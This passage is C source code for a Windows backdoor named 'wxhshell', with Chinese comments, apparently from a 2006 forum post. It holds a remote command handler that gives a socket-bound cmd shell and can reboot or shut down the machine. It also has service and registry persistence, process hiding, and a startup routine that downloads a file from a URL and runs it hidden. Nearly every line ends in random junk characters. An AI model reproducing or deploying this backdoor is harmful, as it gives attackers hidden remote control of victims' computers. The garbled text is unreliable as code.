  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,>(Y8  
  } ;xSRwSNDi(  
  else { 8dc538:q}  
_kh>Z  
    switch(cmd[0]) { BiA >QQ  
  b![t6-f^z  
  // 帮助 >RM 0=bO  
  case '?': { G-2EQ.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0;vtdM[_  
    break; >P(eW7RL  
  } --Oprl  
  // 安装 <E"*)Oi  
  case 'i': { ~Y% : 3  
    if(Install()) !{IC[g n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ll_}& a0G  
    else pw!@Q?R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _~ v-:w  
    break; fzl=d_  
    } 3KtAK9PT  
  // 卸载 pNuqT*  
  case 'r': { b<\$d4Qy  
    if(Uninstall()) {&uT3*V1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 >%+bA(  
    else \ZqK\=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }gCG&7C  
    break; U%L -NMe  
    } vsH3{:&;"P  
  // 显示 wxhshell 所在路径 [4Y[?)7  
  case 'p': { n9DbiL1{  
    char svExeFile[MAX_PATH]; ~+<<bzY  
    strcpy(svExeFile,"\n\r"); g+.0c=G(  
      strcat(svExeFile,ExeFile); T\jAk+$Jo  
        send(wsh,svExeFile,strlen(svExeFile),0); mIRAS"Q!m  
    break; C}9Kx }q  
    } .U<F6I:<md  
  // 重启 C]/&vh7ta  
  case 'b': { FK6K6wU52m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z^<Sj5}6  
    if(Boot(REBOOT)) rmoJ =.'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #7+]%;h  
    else { iNXFk4  
    closesocket(wsh); (X*9w##x(  
    ExitThread(0); E&'#=K[  
    } F%}7cm2  
    break; \Y9I~8\ gB  
    } vuZf#\zh}  
  // 关机 Ym'7vW#~  
  case 'd': { {b2 aL7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p(.N(c  
    if(Boot(SHUTDOWN)) )'`CC>Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YN/u9[=`  
    else { C *a,<`  
    closesocket(wsh); `T=1<Twc  
    ExitThread(0); $}db /hY*  
    } 9T$u+GX'  
    break; V#NtBreN  
    }  ER_ 3'  
  // 获取shell  b)Tl*  
  case 's': { >zFD $  
    CmdShell(wsh); B_cgWJ*4  
    closesocket(wsh); [NL -!  
    ExitThread(0); $5x]%1 R  
    break; g#}tm<  
  } 9Yn)t#G'`F  
  // 退出 y=#j`MH{>  
  case 'x': { o~;M"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @*SA$9/l  
    CloseIt(wsh); i$["aP~G  
    break; &5d\~{;  
    } /w0w* n H  
  // 离开 ,aWCiu}  
  case 'q': { T ~h.=5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t?HF-zQ  
    closesocket(wsh); 6(>WGR  
    WSACleanup(); k&!6fZ)  
    exit(1); S_$nCyaH2  
    break; 7/ t:YBR  
        } 9ZhDZ~)p,  
  } gX_SKy  
  } ]hL:33  
a}dw9wU!:  
  // 提示信息 js -2"I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [<Q4U{F  
} 3[.3dy7,Z  
  } UG #X/%p  
{l@WCR  
  return; n_}aZB3;U  
} %XR<isn  
\OT6L'l],  
// shell模块句柄 $cu]_gu  
int CmdShell(SOCKET sock) +X[8wUm|^  
{ SwX@I6huM  
STARTUPINFO si; n7S; Xve#  
ZeroMemory(&si,sizeof(si)); djfU:$!j&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >9MS" t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I3PQdAs~&h  
PROCESS_INFORMATION ProcessInfo; *x!LKIpv  
char cmdline[]="cmd"; ?^. Pt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8 ip^]  
  return 0; `H"vR: ~{  
} onib x^Fcd  
NNmM#eB:4  
// 自身启动模式 S}b~_}  
int StartFromService(void) 6uqUiRs()  
{  HD H  
typedef struct lCHo+>\Z  
{ ?aFZOc4   
  DWORD ExitStatus; 5aG5BA[N  
  DWORD PebBaseAddress; (2tH"I  
  DWORD AffinityMask; },s_nJR:8  
  DWORD BasePriority; [[X+P 0`r  
  ULONG UniqueProcessId; %mu>-hac  
  ULONG InheritedFromUniqueProcessId; \C7q4p?8  
}   PROCESS_BASIC_INFORMATION; C bQ4Y  
) $J7sa  
PROCNTQSIP NtQueryInformationProcess; W"t"X ~T3  
iu|v9+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C5MqwNX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W "k| K:  
&r:=KT3  
  HANDLE             hProcess; Sz)b7:  
  PROCESS_BASIC_INFORMATION pbi; jqtVpNwM  
_JA:.V^3gm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !=y Q)l2  
  if(NULL == hInst ) return 0; @h9K  
d>/Tu_ y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TL'0T,Jo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }/"4|U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %/!+(7 D  
1yS&~ y?a  
  if (!NtQueryInformationProcess) return 0; QAUykS8  
o}  {-j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =ajLa/m'  
  if(!hProcess) return 0; Si R\a!,C  
G1[(F`t>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B!uxs  
He<;4?:  
  CloseHandle(hProcess); &`@lB (m  
U=DEV7E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c=aO5(i0  
if(hProcess==NULL) return 0; OpUA{P  
lQ$+JX;n(y  
HMODULE hMod; 1$(  
char procName[255]; $+jy/:]D  
unsigned long cbNeeded; m9!DOL1pl  
A_F0\ EN*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }*Zo6{B-  
- wWRm  
  CloseHandle(hProcess); ~bGC/I;W>  
%6HX*_Mr&  
if(strstr(procName,"services")) return 1; // 以服务启动 ?;RD u[eD  
^RDU p5,T  
  return 0; // 注册表启动 _D JCsK|  
} zR/IqW.`9  
w5(yCyNp~  
// 主模块 ckWkZ 78\  
int StartWxhshell(LPSTR lpCmdLine) `M0YAiG  
{ ( OXY^iq  
  SOCKET wsl;  p[Hr39o  
BOOL val=TRUE; Fv@tD4I>  
  int port=0; U{HML|  
  struct sockaddr_in door; xW0Z'==  
x?=B\8m  
  if(wscfg.ws_autoins) Install(); }AJ L,Q7q  
1daL y  
port=atoi(lpCmdLine); -=sf}4A  
Q1]Wo9j  
if(port<=0) port=wscfg.ws_port; *{nunb>WO  
O4!9{  
  WSADATA data; xEC 2@J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $P;UoqG<&  
Man^<T%F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xb0!( (A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8t=3  
  door.sin_family = AF_INET; l=NAq_?N\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 70=(. [^+  
  door.sin_port = htons(port); M}KZG'7  
?S9Nm~vlt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; h9W\Se  
closesocket(wsl); z{/LX \  
return 1; F9O`HFVK  
} k}s+ca!B  
gsfhH0  
  if(listen(wsl,2) == INVALID_SOCKET) { Z/c_kf[  
closesocket(wsl); -%i#j>  
return 1; "/!'9na{QL  
} vnZ4(  
  Wxhshell(wsl); |(&oI(l5K  
  WSACleanup(); Vmtzig3w[  
bs P6\'\4  
return 0; ZMJ3NN]F  
ydup)[n  
} {lMqcK  
j-6v2MH  
// 以NT服务方式启动 82s 5VQ6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pl?kS8#U?  
{ k,lqT>C  
DWORD   status = 0; l#ZyB|  
  DWORD   specificError = 0xfffffff; %p*`h43;  
iJ4 <f->t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %Co b(C&}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kfRJ\"`   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /3F<=zikO  
  serviceStatus.dwWin32ExitCode     = 0; z'*ml ?  
  serviceStatus.dwServiceSpecificExitCode = 0; zhjJ>d%w  
  serviceStatus.dwCheckPoint       = 0; zWtj|%ts  
  serviceStatus.dwWaitHint       = 0; 9cz)f\  
zuMO1s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @.1Qs`pt  
  if (hServiceStatusHandle==0) return; :Fnzi0b  
BvQUn@ XE  
status = GetLastError(); *w|iu^G  
  if (status!=NO_ERROR) P8IRH#ED  
{ 5Xj|:qz<(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !?6.!2  
    serviceStatus.dwCheckPoint       = 0; qsTq*G  
    serviceStatus.dwWaitHint       = 0; "vsjen.K>  
    serviceStatus.dwWin32ExitCode     = status; V(DjF=8  
    serviceStatus.dwServiceSpecificExitCode = specificError; F^xaz^=`u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R}hlDJ/m-  
    return; Y&:/~&'  
  } ^Eu_NUFe  
5!8-)J-H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [WYJrk.  
  serviceStatus.dwCheckPoint       = 0; ]`K[W&  
  serviceStatus.dwWaitHint       = 0; "h$D7 mL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H(?e&Qkg  
} aoK4Du{  
'f8 p7 _F  
// 处理NT服务事件,比如:启动、停止 7> )l{7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t"tNtLI  
{ ZRO.bMgZF  
switch(fdwControl) PB@-U.Z  
{ T%w(P ^qk  
case SERVICE_CONTROL_STOP: L PMb0F}"5  
  serviceStatus.dwWin32ExitCode = 0; CM"s9E8y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [:BW+6  
  serviceStatus.dwCheckPoint   = 0; [XxA.S)x3  
  serviceStatus.dwWaitHint     = 0; v3Eo@,-  
  { bu;vpNa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vRxL&8`&  
  } noFh p  
  return; iKY-;YK  
case SERVICE_CONTROL_PAUSE: S~}$Ly@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 80cm6?,xu  
  break; 8XgVY9]Qm  
case SERVICE_CONTROL_CONTINUE: JLt{f=`%F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :3:)E  
  break; ayHn_  
case SERVICE_CONTROL_INTERROGATE: =GLYDV  
  break; 2 e )  
}; WtMcI>4w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2~+'vi  
} ud 5x$`  
v!iWzN  
// 标准应用程序主函数 P~;<o! f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N IO;  
{ +W!'B r  
aIY$5^x  
// 获取操作系统版本 A5`#Ot*3  
OsIsNt=GetOsVer(); ,80jMs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l^)o'YS y  
N.kuE=X  
  // 从命令行安装 `>$g y/N  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9(V=Ubj  
K%o6hBlk_  
  // 下载执行文件 _Jt_2o%G  
if(wscfg.ws_downexe) { iLc)"L-i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8.6no  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0q-0zXlSL  
} _gis+f/8h  
q_OY sg  
if(!OsIsNt) { y=y/d>=w  
// 如果时win9x,隐藏进程并且设置为注册表启动 9CgXc5  
HideProc(); bgkbwE  
StartWxhshell(lpCmdLine); wR`w@ 5,d  
} Ih9ORp7  
else v)X[gt tf  
  if(StartFromService()) g wZ+GA  
  // 以服务方式启动 (Q*2dd>  
  StartServiceCtrlDispatcher(DispatchTable); n#/U@qVgc  
else hnM9-hqm  
  // 普通方式启动 eP-R""uPw  
  StartWxhshell(lpCmdLine); QH~8 aE_i  
rF <iWM=  
return 0; OgzGkc@A  
}
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只看该作者 1 发表于: 2006-10-10
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